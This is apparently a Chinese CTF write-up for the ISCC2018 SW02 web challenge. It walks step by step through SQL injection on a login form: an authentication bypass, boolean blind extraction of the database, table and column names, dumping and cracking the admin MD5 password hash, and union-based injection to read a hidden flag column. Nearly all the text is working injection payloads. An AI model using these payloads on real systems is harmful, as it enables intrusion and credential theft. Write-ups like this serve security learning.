每一篇文章中所用到的工具,我都会放在文章的最下面,欢迎支持~
网址:http://120.79.220.111:7001/SW02/
一个经典的登录框,先随便输入一些字符,提示账号或者密码错误
然后试一下admin作为账号,密码还是随便输入。这时候提示密码错误。看来是存在admin这个账号的。(这一步可以在之后省下一些步骤)
尝试万能语句:
admin’ or 1=1#
密码随便填
有如下提示
明显是可以注入的。
通过burpsuite抓包可以知道,post的两个字段分别为username和password。
(以下所有语句都是在hackbar的post data中进行)
打开hackbar,load URL之后选择post data,尝试字段数判断:
username=admin’ order by 3 #&password=asdf(密码段随便填) ,返回正常
username=admin’ order by 4 #&password=asdf ,返回错误提示,由此得出字段数为3的结论。
日常操作尝试显出字段所在位置
username=admin’ and 1=2 union select 1,2,3#&password=asdf
从页面看出,肯定是注入成功的,但是没有显出任何的字段。看来是万恶的sql盲注了…慢慢来。
先判断数据库的长度
username=admin’ and length(database())>0#&password=asdf
这里选择用>0是有必要的,这可以先判断自己构造的注入语句是否有错,如果使用>0时还报错,就说明是构造语句的语法有错。后面的注入语句也是如此。
使用>n逐步锁定区间。
当username=admin’ and length(database())>10#&password=asdf的时候正常;
但是当username=admin’ and length(database())>20#&password=asdf的时候报错。
说明数据库的长度在10~20之间。
最后是length(database())=12的时候返回正常,说明数据库的长度为12
确定长度之后,接下来就是利用ASCII码来逐步确定每一位字符的具体值了
先确定第一位:
username=admin’ and ascii(substr(database(),1,1))=73#&password=asdf
注:substr(“Hello world”,1,1); 第一个1代表从1位开始,后面的1代表取几个字符,SQL语句里面substr是从1开始,在php里面是从0位开始。
一开始还是要像判断数据库长度一样,先锁定区间再逐一比对。
当ASCII码为73时返回正常页面,73对应字符为大写字母I,因此第一位为I。
最后得出数据库名为:ISCC2018SW02
接下来就是判断数据库的表的数量
username=admin’ and 1=((select count(*) from information_schema.tables where table_schema=‘ISCC2018SW02’)=2)#&password=asdf
当count(*)为2的时候,返回页面正常,即表的数量为2
username=admin’ and 1=((select count(*) from information_schema.tables where table_schema=‘ISCC2018SW02’)=2)#&password=asdf
老方法,先确定第一张表的长度
username=admin’ and length((select table_name from information_schema.tables where table_schema=‘ISCC2018SW02’ limit 0,1))=4#&password=asdf
返回正常,第一张表的长度为4
进一步确定第一张表的表名
username=admin’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘ISCC2018SW02’ limit 0,1),1,1))=110#&password=asdf
第一位的ASCII码为110,对应字符为n。
重复以上步骤,得出表名为news。
这似乎不是我们需要找的表,那就重复以上的步骤,找出第二张表的长度以及具体名称。
(盲注烦人的地方就在这里…大量重复的手工动作…简直要疯…)
第二张表为user
好了,这看起来很有注入价值,那就来吧。
先确定表的列数
username=admin’ and ((select count(*) from information_schema.columns where table_name=‘user’ and table_schema=‘ISCC2018SW02’)=3)#&password=asdf
users表的列数为3
确定第一列的长度
username=admin’ and length((select column_name from information_schema.columns where table_schema=‘ISCC2018SW02’ and table_name=‘user’ limit 0,1))=8#&password=asdf
第一列的长度为8
进一步确定具体名称
username=admin’ and ascii(substr((select column_name from information_schema.columns where table_schema=‘ISCC2018SW02’ and table_name=‘user’ limit 0,1),1,1))=117#&password=asdf
第一位的ASCII码为117,对应字符u(到这里可以大胆猜测,这就是username)
逐一比对,得出第一列的名称为username
其他列是同样的方法,第二列为pass,应该是存放密码的;第三列是id。
前面我们通过尝试已经知道了username存在admin这样的一个数值,这时候我们可以尝试猜解它的密码pass
还是老样子,先确定username对应的pass的长度
username=admin’ and length((select pass from user where username =‘admin’))=32#&password=asdf
长度为32位(看到有32位,我真的想请出题人喝茶…)
接下来就是利用ASCII码猜解具体数值了
username=admin’ and ascii(substr((select pass from user where username=‘admin’),1,1))=49#&password=asdf
第一位的ASCII码是49,对应字符是阿拉伯数字1
逐步比较,最后得出密码为
197ed45182778e1c74cc8c72f9fffc08
明显是md5加密过的
找个md5解密的网站解密即可得到明文
明文为u4g009
登入后台的页面如下
到这里经过页面的表单尝试发现,这是sql显注,这就简单很多了,少了逐步猜解字符的步骤真让人爽快
order by 语句判断字段数:
http://120.79.220.111:7001/SW02/?id=1 order by 6#
使用联合查询显出字段的具体位置:
http://120.79.220.111:7001/SW02/?id=1 and 1=2 union select 1,2,3,4,5,6#
查询表名
http://120.79.220.111:7001/SW02/?id=1 and 1=2 union select 1,2,3,4,5,group_concat(table_name) from information_schema.tables where table_schema=database()#
和前面盲注的结果一样,有两个表,news和user。页面提示flag在另一个字段。我们就查一下news表
查询news的列名
http://120.79.220.111:7001/SW02/?id=1 and 1=2 union select 1,2,3,4,5,group_concat(column_name) from information_schema.columns where table_name=‘news’#
发现一个奇怪的列,kjafuibafuohnuvwnruniguankacbh。尝试查询列的数值。
http://120.79.220.111:7001/SW02/?id=1 and 1=2 union select 1,2,3,4,5,(select kjafuibafuohnuvwnruniguankacbh from news)#